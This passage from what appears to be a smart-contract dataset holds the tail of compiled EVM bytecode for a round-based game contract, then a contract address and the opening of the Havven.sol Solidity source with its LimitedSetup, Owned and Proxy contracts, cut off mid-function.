0e560020a62461bcd02815260206004820152601760248201527f6f6e6c792061646d696e2063616e206163746976617465000000000000000000604482015290519081900360640190fd5b601255565b600054600160a060020a031633146112f3576040805160e560020a62461bcd02815260206004820152601760248201527f6f6e6c792061646d696e2063616e206163746976617465000000000000000000604482015290519081900360640190fd5b60115460ff161561134e576040805160e560020a62461bcd02815260206004820152601b60248201527f53757065724361726420616c7265616479206163746976617465640000000000604482015290519081900360640190fd5b6011805460ff1916600190811790915560058190556002548154600092909252600c602052429091019081036000805160206153ca83398151915255615460016000805160206153aa83398151915255565b60076020526000908152604090205481565b60045481565b600554600654600091829182919060018380805b858411611436576000848152600c60205260409020600501546113f690829063ffffffff61371d16565b9050600192505b84831161142b5761141e611411858561398a565b839063ffffffff61371d16565b60019093019291506113fd565b6001909301926113cc565b9098909750429650945050505050565b60125481565b60115460125460ff909116914290565b600c6020528060005260406000206000915090508060000154908060010154908060020154908060030160009054906101000a900460ff169080600401549080600501549080600601549080600701549080600801549080600901549080600a01549080600b01549080600c015490508d565b600b60209081526000928352604080842090915290825290205460ff1681565b600f602052600090815260409020805460019091015482565b60086020526000908152604090205481565b600061152d82606463ffffffff613a5416565b92915050565b60055481600080808080600186141561154c5761271095505b5060009250825b6000878152600c602081905260409091200154811015611746576000818152600e602090815260408083205480845260099092529091206005015490935061159c908490613acb565b600083815260096020526040812060030154111561173e576000838152600a602090815260408083208a8452909152902060010154612710906115e690606963ffffffff613a5416565b8115156115ef57fe5b6000858152600960205260409020600301549190049250821161173e5760008381526009602052604090206003015461162e908363ffffffff613b6216565b6000848152600a602090815260408083208b845290915290206001015490955061165f90859063ffffffff61371d16565b6000848152600a602090815260408083208b8452825280832060010154600c9092529091206005015491955061169b919063ffffffff613b6216565b6000888152600c602081815260408084206005810195909555878452600a82528084208c855282528320600101929092559052600701546116e2908663ffffffff61371d16565b6000888152600c6020908152604080832060070193909355858252600990522060020154611716908363ffffffff61371d16565b6000848152600960205260408120600281019290925560039091015585841061173e57611746565b600101611553565b5050505050505050565b611758615310565b60115460009060ff1615156117d157601254421015801561177b57506000601254115b156117d1576011805460ff1916600190811790915560058190556002548154600092909252600c602052429091019081036000805160206153ca83398151915255615460016000805160206153aa833981519152555b60115460ff16151560011461181e576040805160e560020a62461bcd028152602060048201526012602482015260008051602061536a833981519152604482015290519081900360640190fd5b33803b8015611865576040805160e560020a62461bcd028152602060048201526011602482015260008051602061540a833981519152604482015290519081900360640190fd5b84633b9aca008110156118bd576040805160e560020a62461bcd028152602060048201526021602482015260008051602061538a833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561190d576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206153ea833981519152604482015290519081900360640190fd5b33600090815260076020526040902054935087158061192b57508388145b15611949576000848152600960205260409020600601549750611976565b60008481526009602052604090206006015488146119765760008481526009602052604090206006018890555b61174684898888613778565b6000806000806000806000611995615310565b60115460ff161515611a0b5760125442101580156119b557506000601254115b15611a0b576011805460ff1916600190811790915560058190556002548154600092909252600c602052429091019081036000805160206153ca83398151915255615460016000805160206153aa833981519152555b60115460ff161515600114611a58576040805160e560020a62461bcd028152602060048201526012602482015260008051602061536a833981519152604482015290519081900360640190fd5b33803b8015611a9f576040805160e560020a62461bcd028152602060048201526011602482015260008051602061540a833981519152604482015290519081900360640190fd5b60058054336000908152600760209081526040808320548084526009909252822090930154919c50429b50919950909750879650869550859450611ae4908990613acb565b6000888152600960205260408120600301541115611d51576000888152600a602090815260408083208d8452909152902060010154606490611b3890606990611b2c906121fb565b9063ffffffff613a5416565b811515611b4157fe5b60008a81526009602052604090206003015491900497508711611c1d57600088815260096020526040902060030154611b80908863ffffffff613b6216565b6000898152600a602090815260408083208e8452825280832060010154600c90925290912060050154919550611bbc919063ffffffff613b6216565b60008b8152600c6020818152604080842060058101959095558c8452600a82528084208f85528252832060010192909255905260070154611c03908563ffffffff61371d16565b60008b8152600c6020526040902060070155869550611d10565b600088815260096020526040902060030154611c8390611c5a90606990611c4b90606463ffffffff613a5416565b811515611c5457fe5b0461151a565b60008a8152600a602090815260408083208f84529091529020600101549063ffffffff613b6216565b6000898152600a602090815260408083208e84528252808320600101939093558a8252600990522060030154611ce990611ccb90606990611c4b90606463ffffffff613a5416565b60008c8152600c60205260409020600501549063ffffffff613b6216565b60008b8152600c60209081526040808320600501939093558a825260099052206003015495505b60008881526009602052604090206004810154600290910154611d4a918891611d3e9163ffffffff61371d16565b9063ffffffff61371d16565b9450611d7c565b60008881526009602052604090206004810154600290910154611d799163ffffffff61371d16565b94505b600088815260096020526040808220600281018390556003810183905560048101839055549051600160a060020a039091169187156108fc02918891818181858888f19350505050158015611dd5573d6000803e3d6000fd5b5060008a8152600c602052604090206002015489118015611e08575060008a8152600c602052604090206003015460ff16155b8015611e21575060008a8152600c602052604090205415155b15611f6d5760008a8152600c60205260409020600301805460ff19166001179055611e4b8361334c565b925088670de0b6b3a764000002836000015101836000018181525050878360200151018360200181815250507f0bd0dba8ab932212fa78150cdb7b0275da72e255875967b5cad11464cf71bedc33600960008b8152602001908152602001600020600101548786600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a1611fc9565b60008881526009602090815260409182902060010154825133815291820152808201879052606081018b9052905189917f8f36579a548bc439baa172a6521207464154da77f411e2da3db2f53affe6cc3a919081900360800190a25b50505050505050505050565b600e6020526000908152604090205481565b3373bac825cdb506dcf917a7715a4bf3fa1b06abe3e414612078576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03831660009081526007602052604090205484146120b357600160a060020a03831660009081526007602052604090208490555b60008281526008602052604090205484146120da5760008281526008602052604090208490555b600084815260096020526040902054600160a060020a03848116911614612130576000848152600960205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790555b600084815260096020526040902060010154821461215d5760008481526009602052604090206001018290555b600084815260096020526040902060060154811461218a5760008481526009602052604090206006018190555b6000848152600b6020908152604080832085845290915290205460ff1615156121d2576000848152600b602090815260408083208584529091529020805460ff191660011790555b50505050565b60065481565b600d60209081526000928352604080842090915290825290205481565b6064900490565b60055481565b600081815260096020526040812060028101546005909101548291829161225290612234908790613bc2565b6000878152600960205260409020600301549063ffffffff61371d16565b600095865260096020526040909520600401549095909350915050565b6000808080808033803b80156122bd576040805160e560020a62461bcd028152602060048201526011602482015260008051602061540a833981519152604482015290519081900360640190fd5b6122c68b613c69565b604080517f745ea0c1000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b50995034985073bac825cdb506dcf917a7715a4bf3fa1b06abe3e49263745ea0c1928a926084808201939182900301818588803b15801561234f57600080fd5b505af1158015612363573d6000803e3d6000fd5b50505050506040513d604081101561237a57600080fd5b508051602091820151600160a060020a03808b1660008181526007865260408082205485835260098852918190208054600190910154825188151581529889018790529416878201526060870193909352608086018c90524260a0870152915193995091975095508a92909186917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e64442919081900360c00190a45050505050505050505050565b60008060008060008060008060008060008060008060006005549050600c60008281526020019081526020016000206009015481600c600084815260200190815260200160002060050154600c600085815260200190815260200160002060020154600c600086815260200190815260200160002060040154600c600087815260200190815260200160002060070154600c600088815260200190815260200160002060000154600a02600c6000898152602001908152602001600020600101540160096000600c60008b815260200190815260200160002060000154815260200190815260200160002060000160009054906101000a9004600160a060020a031660096000600c60008c815260200190815260200160002060000154815260200190815260200160002060010154600d60008b8152602001908152602001600020600080815260200190815260200160002054600d60008c815260200190815260200160002060006001815260200190815260200160002054600d60008d815260200190815260200160002060006002815260200190815260200160002054600d60008e8152602001908152602001600020600060038152602001908152602001600020546003546103e802600454019e509e509e509e509e509e509e509e509e509e509e509e509e509e5050909192939495969798999a9b9c9d565b612626615310565b601154600090819060ff1615156126a157601254421015801561264b57506000601254115b156126a1576011805460ff1916600190811790915560058190556002548154600092909252600c602052429091019081036000805160206153ca83398151915255615460016000805160206153aa833981519152555b60115460ff1615156001146126ee576040805160e560020a62461bcd028152602060048201526012602482015260008051602061536a833981519152604482015290519081900360640190fd5b33803b8015612735576040805160e560020a62461bcd028152602060048201526011602482015260008051602061540a833981519152604482015290519081900360640190fd5b85633b9aca0081101561278d576040805160e560020a62461bcd028152602060048201526021602482015260008051602061538a833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156127dd576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206153ea833981519152604482015290519081900360640190fd5b336000908152600760205260409020549450600160a060020a038916158061280d5750600160a060020a03891633145b1561282b576000858152600960205260409020600601549350611213565b600160a060020a038916600090815260076020908152604080832054888452600990925290912060060154909450841461121357600085815260096020526040902060060184905561121f85858989613778565b3373bac825cdb506dcf917a7715a4bf3fa1b06abe3e414612910576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600b6020908152604080832084845290915290205460ff161515612958576000828152600b602090815260408083208484529091529020805460ff191660011790555b5050565b60408051808201909152600381527f5350430000000000000000000000000000000000000000000000000000000000602082015281565b61299b615310565b601154600090819060ff161515612a165760125442101580156129c057506000601254115b15612a16576011805460ff1916600190811790915560058190556002548154600092909252600c602052429091019081036000805160206153ca83398151915255615460016000805160206153aa833981519152555b60115460ff161515600114612a63576040805160e560020a62461bcd028152602060048201526012602482015260008051602061536a833981519152604482015290519081900360640190fd5b33803b8015612aaa576040805160e560020a62461bcd028152602060048201526011602482015260008051602061540a833981519152604482015290519081900360640190fd5b34633b9aca00811015612b02576040805160e560020a62461bcd028152602060048201526021602482015260008051602061538a833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612b52576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206153ea833981519152604482015290519081900360640190fd5b612b5b86610a92565b336000908152600760205260409020549096509450600160a060020a0388161580612b8e5750600160a060020a03881633145b15612bac576000858152600960205260409020600601549350612bf5565b600160a060020a0388166000908152600760209081526040808320548884526009909252909120600601549094508414612bf55760008581526009602052604090206006018490555b6117468585600289610d4b565b600a602090815260009283526040808420909152908252902080546001820154600283015460038401546004909401549293919290919085565b612c44615310565b601154600090819060ff161515612cbf576012544210158015612c6957506000601254115b15612cbf576011805460ff1916600190811790915560058190556002548154600092909252600c602052429091019081036000805160206153ca83398151915255615460016000805160206153aa833981519152555b60115460ff161515600114612d0c576040805160e560020a62461bcd028152602060048201526012602482015260008051602061536a833981519152604482015290519081900360640190fd5b33803b8015612d53576040805160e560020a62461bcd028152602060048201526011602482015260008051602061540a833981519152604482015290519081900360640190fd5b34633b9aca00811015612dab576040805160e560020a62461bcd028152602060048201526021602482015260008051602061538a833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612dfb576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206153ea833981519152604482015290519081900360640190fd5b612e0486610a92565b336000908152600760205260409020549096509450871580612e36575060008581526009602052604090206001015488145b15612e54576000858152600960205260409020600601549350612bf5565b6000888152600860209081526040808320548884526009909252909120600601549094508414612bf55760008581526009602052604090206006018490556117468585600289610d4b565b6010602052600090815260409020805460019091015482565b6005546000818152600c60205260408120600201549091904290811015612f45576002546000838152600c602052604090206004015401811115612f1f576000828152600c6020526040902060020154612f18908263ffffffff613b6216565b9250612f4a565b6002546000838152600c6020526040902060040154612f1891018263ffffffff613b6216565b600092505b505090565b6000612f5a8261151a565b9392505050565b60115460ff1681565b60035481565b6009602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154600160a060020a039095169593949293919290919087565b6005546001016000818152600c6020526040902060070154612fdf903463ffffffff61371d16565b6000828152600c6020908152604091829020600701929092558051838152349281019290925280517f74b1d2f771e0eff1b2c36c38499febdbea80fe4013bdace4fc4b653322c2895c9281900390910190a150565b6000806000806000806000806000600554915050600160a060020a0389166000908152600760209081526040808320548084526009808452828520600180820154600a87528588208989528752948720015495839052935260028301546005909301549093849390916130ac90612234908690613bc2565b600095865260096020908152604080882060040154600a83528189209989529890915290952054939e929d50909b509950919750919550909350915050565b6000858152600a6020908152604080832089845290915281206003015460011461318457613119868361447c565b6000878152600a602090815260408083208b8452825280832060016003909101819055600c808452828520810180548652600e85529285208c9055938c90529290915254919350613170919063ffffffff61371d16565b6000888152600c6020819052604090912001555b662386f26fc100008511156133435761319c8561151a565b9050670de0b6b3a764000081106131fc576131b78188614534565b6000878152600c602052604090205486146131de576000878152600c602052604090208690555b6000878152600c602052604090206002600190910155815160640182525b6000868152600a602090815260408083208a845290915290206001015461322a90829063ffffffff61371d16565b6000878152600a602090815260408083208b8452909152902060018101919091555461325790869061371d565b6000878152600a602090815260408083208b8452825280832093909355600c9052206005015461328e90829063ffffffff61371d16565b6000888152600c602052604090206005810191909155600601546132b990869063ffffffff61371d16565b6000888152600c6020908152604080832060060193909355600d815282822060028352905220546132f190869063ffffffff61371d16565b6000888152600d6020908152604080832060028085529252909120919091556133229088908890889088908761461b565b915061333387878760028587614c8f565b9150613343866002878486614d95565b50505050505050565b613354615310565b6005546000818152600c60205260408120805460018201546007909201549092808080808080606461338d89601e63ffffffff613a5416565b81151561339657fe5b049650600a8860008b81526010602052604090205491900496506064906133c4908a9063ffffffff613a5416565b8115156133cd57fe5b60008b81526010602052604090206001015491900495506064906133f8908a9063ffffffff613a5416565b81151561340157fe5b0493506134288461341c87818a818e8e63ffffffff613b6216565b9063ffffffff613b6216565b60008c8152600c602052604090206005015490935061345586670de0b6b3a764000063ffffffff613a5416565b81151561345e57fe5b60008d8152600c602052604090206005015491900492506134ac90670de0b6b3a76400009061349490859063ffffffff613a5416565b81151561349d57fe5b8791900463ffffffff613b6216565b905060008111156134ca576134c7858263ffffffff613b6216565b94505b60008a8152600960205260409020600201546134ed90889063ffffffff61371d16565b60008b815260096020526040902060029081019190915561351f90613512908661349d565b879063ffffffff61371d16565b60008054604051929850600160a060020a03169188156108fc0291899190818181858888f1935050505015801561355a573d6000803e3d6000fd5b506135716002855b8591900463ffffffff61371d16565b60008c8152600c602052604090206008015490935061359790839063ffffffff61371d16565b600c60008d815260200190815260200160002060080181905550600c60008c815260200190815260200160002060020154620f4240028d60000151018d60000181815250508867016345785d8a0000028a6a52b7d2dcc80cd2e4000000028e6020015101018d6020018181525050600960008b815260200190815260200160002060000160009054906101000a9004600160a060020a03168d60400190600160a060020a03169081600160a060020a031681525050600960008b8152602001908152602001600020600101548d606001906000191690816000191681525050868d6080018181525050848d60e0018181525050838d60c0018181525050828d60a00181815250506005600081548092919060010191905055508a806001019b505042600c60008d8152602001908152602001600020600401819055506136ee600254611d3e6154604261371d90919063ffffffff16565b60008c8152600c6020526040902060028101919091556007018390558c9b505050505050505050505050919050565b8181018281101561152d576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b6005546002546000828152600c6020526040812060040154429201821180156137e357506000838152600c6020526040902060020154821115806137e357506000838152600c6020526040902060020154821180156137e357506000838152600c6020526040902054155b15613810576137f187614f01565b9050600081111561380b5761380b838883896002896130eb565b613343565b6000838152600c60205260409020600201548211801561384257506000838152600c602052604090206003015460ff16155b15613343576000838152600c60205260409020600301805460ff1916600117905561386c8461334c565b935081670de0b6b3a764000002846000015101846000018181525050868460200151018460200181815250507f88261ac70d02d5ea73e54fa6da17043c974de1021109573ec1f6f57111c823dd33600960008a81526020019081526020016000206001015486600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808b600160a060020a0316600160a060020a031681526020018a6000191660001916815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019a505050505050505050505060405180910390a150505050505050565b600081815260096020526040812060050154819081906139ab908590613acb565b6000848152600960205260408120600301541115613a4c576000848152600a60209081526040808320888452909152902060010154612710906139f590606963ffffffff613a5416565b8115156139fe57fe5b60008681526009602052604090206003015491900491508111613a4c576000848152600a60209081526040808320888452909152902060010154613a4990839063ffffffff61371d16565b91505b509392505050565b6000821515613a655750600061152d565b50818102818382811515613a7557fe5b041461152d576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b6000613ad78383613bc2565b90506000811115613b5d57600083815260096020526040902060030154613b0590829063ffffffff61371d16565b600084815260096020908152604080832060030193909355600a815282822085835290522060020154613b3f90829063ffffffff61371d16565b6000848152600a602090815260408083208684529091529020600201555b505050565b600082821115613bbc576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b6000828152600a60209081526040808320848452825280832060010154600c9092528220600801548291613c019190670de0b6b3a76400009004613a54565b6000858152600a60209081526040808320878452909152902060020154909150811115613c5d576000848152600a60209081526040808320868452909152902060020154613c5690829063ffffffff613b6216565b9150613c62565b600091505b5092915050565b8051600090829082808060208411801590613c845750600084115b1515613d00576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613d0f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214158015613d7657508460018503815181101515613d4e57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515613df2576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515613e0157fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a021415613f4457846001815181101515613e3b57fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515613eb8576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b846001815181101515613ec757fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515613f44576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b838210156144145784517f400000000000000000000000000000000000000000000000000000000000000090869084908110613f8157fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015613ff5575084517f5b0000000000000000000000000000000000000000000000000000000000000090869084908110613fd657fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1561406257848281518110151561400857fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a02858381518110151561403957fe5b906020010190600160f860020a031916908160001a90535082151561405d57600192505b614409565b848281518110151561407057fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021480614140575084517f6000000000000000000000000000000000000000000000000000000000000000908690849081106140cc57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015614140575084517f7b000000000000000000000000000000000000000000000000000000000000009086908490811061412157fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b806141ea575084517f2f000000000000000000000000000000000000000000000000000000000000009086908490811061417657fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156141ea575084517f3a00000000000000000000000000000000000000000000000000000000000000908690849081106141cb57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1515614266576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b848281518110151561427457fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214156143535784826001018151811015156142b057fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214151515614353576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b821580156143ff575084517f30000000000000000000000000000000000000000000000000000000000000009086908490811061438c57fe5b90602001015160f860020a900460f860020a02600160f860020a03191610806143ff575084517f3900000000000000000000000000000000000000000000000000000000000000908690849081106143e057fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b1561440957600192505b600190910190613f49565b60018315151461446e576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b614484615310565b60008381526009602052604081206005015415614510576000848152600960205260409020600501546144b8908590613acb565b6000848152600960205260409020600481015460038201546002909201546144ea92611d3e919063ffffffff61371d16565b600085815260096020526040812060038101829055600481019190915560020181905590505b50506005805460009384526009602052604090932001919091558051600a01815290565b6000818152600c60205260408120600201544291908211801561456357506000838152600c6020526040902054155b156145905761458982611d3e601e670de0b6b3a7640000885b049063ffffffff613a5416565b90506145bd565b6000838152600c60205260409020600201546145ba90611d3e601e670de0b6b3a76400008861457c565b90505b6145d0620151808363ffffffff61371d16565b8110156145f0576000838152600c602052604090206002018190556121d2565b614603620151808363ffffffff61371d16565b6000848152600c602052604090206002015550505050565b614623615310565b60008080614634600360648a61457c565b9250506064870490508588811480159061465e575060008181526009602052604090206001015415155b1561471f5760008181526009602052604090206004015461468a90611d3e84600563ffffffff613a5416565b6000828152600960205260409020600481019190915580546001909101548a918c9184917f590bbc0fc16915a85269a48f74783c39842b7ae9eceb7c295c95dbe8b3ec733191600160a060020a03909116906146ed88600563ffffffff613a5416565b60408051600160a060020a039094168452602084019290925282820152426060830152519081900360800190a4614743565b61474061473383600563ffffffff613a5416565b849063ffffffff61371d16565b92505b60008181526009602090815260408083205481517fe56556a9000000000000000000000000000000000000000000000000000000008152600160a060020a039091166004820152905173bac825cdb506dcf917a7715a4bf3fa1b06abe3e49363e56556a993602480850194919392918390030190829087803b1580156147c857600080fd5b505af11580156147dc573d6000803e3d6000fd5b505050506040513d60208110156147f257600080fd5b5051604080517fe3c08adf00000000000000000000000000000000000000000000000000000000815260048101839052905191925073bac825cdb506dcf917a7715a4bf3fa1b06abe3e49163e3c08adf916024808201926020929091908290030181600087803b15801561486557600080fd5b505af1158015614879573d6000803e3d6000fd5b505050506040513d602081101561488f57600080fd5b505190508881148015906148b3575060008181526009602052604090206001015415155b15614974576000818152600960205260409020600401546148df90611d3e84600363ffffffff613a5416565b6000828152600960205260409020600481019190915580546001909101548a918c9184917f590bbc0fc16915a85269a48f74783c39842b7ae9eceb7c295c95dbe8b3ec733191600160a060020a039091169061494288600363ffffffff613a5416565b60408051600160a060020a039094168452602084019290925282820152426060830152519081900360800190a461498b565b61498861473383600363ffffffff613a5416565b92505b60008181526009602090815260408083205481517fe56556a9000000000000000000000000000000000000000000000000000000008152600160a060020a039091166004820152905173bac825cdb506dcf917a7715a4bf3fa1b06abe3e49363e56556a993602480850194919392918390030190829087803b158015614a1057600080fd5b505af1158015614a24573d6000803e3d6000fd5b505050506040513d6020811015614a3a57600080fd5b5051604080517fe3c08adf00000000000000000000000000000000000000000000000000000000815260048101839052905191925073bac825cdb506dcf917a7715a4bf3fa1b06abe3e49163e3c08adf916024808201926020929091908290030181600087803b158015614aad57600080fd5b505af1158015614ac1573d6000803e3d6000fd5b505050506040513d6020811015614ad757600080fd5b50519050888114801590614afb575060008181526009602052604090206001015415155b15614bbc57600081815260096020526040902060040154614b2790611d3e84600263ffffffff613a5416565b6000828152600960205260409020600481019190915580546001909101548a918c9184917f590bbc0fc16915a85269a48f74783c39842b7ae9eceb7c295c95dbe8b3ec733191600160a060020a0390911690614b8a88600263ffffffff613a5416565b60408051600160a060020a039094168452602084019290925282820152426060830152519081900360800190a4614bd3565b614bd061473383600263ffffffff613a5416565b92505b6002600052600f6020527fa74ba3945261e09fde15ba3db55005b205e61eeb4ad811ac0faa2b315bffeeae54614c2090606490614c17908b9063ffffffff613a5416565b81151561356257fe5b92506000831115614c815760008054604051600160a060020a039091169185156108fc02918691818181858888f19350505050158015614c64573d6000803e3d6000fd5b5060c0850151614c7b90849063ffffffff61371d16565b60c08601525b509298975050505050505050565b614c97615310565b60026000908152600f6020527fa74ba3945261e09fde15ba3db55005b205e61eeb4ad811ac0faa2b315bffeead5481908190606490614cdd908a9063ffffffff613a5416565b811515614ce657fe5b0492506064614cfc89600563ffffffff613a5416565b811515614d0557fe5b049150614d148a8a85896151c1565b90506000811115614d3257614d2f838263ffffffff613b6216565b92505b60008a8152600c6020526040902060070154614d5590839063ffffffff61371d16565b60008b8152600c602052604090206007015560e0850151614d7d90849063ffffffff61371d16565b60e08601525061010084015250909695505050505050565b42670de0b6b3a7640000028160000151016c02863c1f5cdae42f954000000001816000018181525050600554751aba4714957d300d0e549208b31adb100000000000000285826020015101018160200181815250507f500e72a0e114930aebdbcb371ccdbf43922c49f979794b5de4257ff7e310c7468160000151826020015160096000898152602001908152602001600020600101543387878760400151886060015189608001518a60a001518b60c001518c60e001518d6101000151600354604051808f81526020018e81526020018d600019166000191681526020018c600160a060020a0316600160a060020a031681526020018b81526020018a815260200189600160a060020a0316600160a060020a0316815260200188600019166000191681526020018781526020018681526020018581526020018481526020018381526020018281526020019e50505050505050505050505050505060405180910390a15050505050565b6005805460008381526009602052604081209092015482908190819081908190614f2c908990613acb565b6000888152600960205260408120600301541115615172576000888152600a6020908152604080832089845290915290206001015461271090614f7690606963ffffffff613a5416565b811515614f7f57fe5b60008a8152600960205260409020600301549190049550851161505b57600088815260096020526040902060030154614fbe908663ffffffff613b6216565b6000898152600a602090815260408083208a8452825280832060010154600c90925290912060050154919450614ffa919063ffffffff613b6216565b6000878152600c6020818152604080842060058101959095558c8452600a82528084208b85528252832060010192909255905260070154615041908463ffffffff61371d16565b6000878152600c602052604090206007015584935061511d565b6000888152600960205260409020600301546069906150829061271063ffffffff613a5416565b81151561508b57fe5b60008a8152600a602090815260408083208b845290915290206001015491900491506150bd908263ffffffff613b6216565b6000898152600a602090815260408083208a8452825280832060010193909355600c905220600501546150f6908263ffffffff613b6216565b6000878152600c60209081526040808320600501939093558a825260099052206003015493505b6000888152600960205260409020600481015460029091015461514b918691611d3e9163ffffffff61371d16565b600089815260096020526040812060028101829055600381018290556004015591506151b6565b6000888152600960205260409020600481015460029091015461519a9163ffffffff61371d16565b6000898152600960205260408120600281018290556004015591505b509695505050505050565b6000848152600c6020526040812060050154819081906151ef86670de0b6b3a764000063ffffffff613a5416565b8115156151f857fe5b6000898152600c6020526040902060080154919004925061522090839063ffffffff61371d16565b6000888152600c6020526040902060080155670de0b6b3a764000061524b838663ffffffff613a5416565b81151561525457fe5b6000888152600a602090815260408083208c8452825280832060020154600c909252909120600801549290910492506152bd91611d3e908490670de0b6b3a7640000906152a7908a63ffffffff613a5416565b8115156152b057fe5b049063ffffffff613b6216565b6000878152600a602090815260408083208b8452825280832060020193909355600c9052206005015461530590670de0b6b3a76400009061349490859063ffffffff613a5416565b979650505050505050565b6101206040519081016040528060008152602001600081526020016000600160a060020a0316815260200160008019168152602001600081526020016000815260200160008152602001600081526020016000815250905600697473206e6f74207265616479207965742e0000000000000000000000000000706f636b6574206c696e743a206e6f7420612076616c69642063757272656e63d421a5181c571bba3f01190c922c3b2a896fc1d84e86c9f17ac10e67ebef8b5ed421a5181c571bba3f01190c922c3b2a896fc1d84e86c9f17ac10e67ebef8b606e6f20766974616c696b2c206e6f000000000000000000000000000000000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a723058204057966814c9f26ad65b6974e9dd15e27765c6ee9db24172b40a563bc99a30e80029
[ 0, 4, 7, 1, 12, 13, 28 ]
0xF244176246168F24e3187f7288EdbCA29267739b
/* ----------------------------------------------------------------- FILE HEADER ----------------------------------------------------------------- file: Havven.sol version: 1.0 authors: Anton Jurisevic Dominic Romanowski Mike Spain date: 2018-02-05 checked: Mike Spain approved: Samuel Brooks repo: https://github.com/Havven/havven commit: 34e66009b98aa18976226c139270970d105045e3 ----------------------------------------------------------------- */ pragma solidity ^0.4.21; /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A contract with a limited setup period. Any function modified with the setup modifier will cease to work after the conclusion of the configurable-length post-construction setup period. ----------------------------------------------------------------- */ contract LimitedSetup { uint constructionTime; uint setupDuration; function LimitedSetup(uint _setupDuration) public { constructionTime = now; setupDuration = _setupDuration; } modifier setupFunction { require(now < constructionTime + setupDuration); _; } } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- An Owned contract, to be inherited by other contracts. Requires its owner to be explicitly set in the constructor. Provides an onlyOwner access modifier. To change owner, the current owner must nominate the next owner, who then has to accept the nomination. The nomination can be cancelled before it is accepted by the new owner by having the previous owner change the nomination (setting it to 0). ----------------------------------------------------------------- */ contract Owned { address public owner; address public nominatedOwner; function Owned(address _owner) public { owner = _owner; } function nominateOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A proxy contract that, if it does not recognise the function being called on it, passes all value and call data to an underlying target contract. ----------------------------------------------------------------- */ contract Proxy is Owned { Proxyable target; function Proxy(Proxyable _target, address _owner) Owned(_owner) public { target = _target; emit TargetChanged(_target); } function _setTarget(address _target) external onlyOwner { 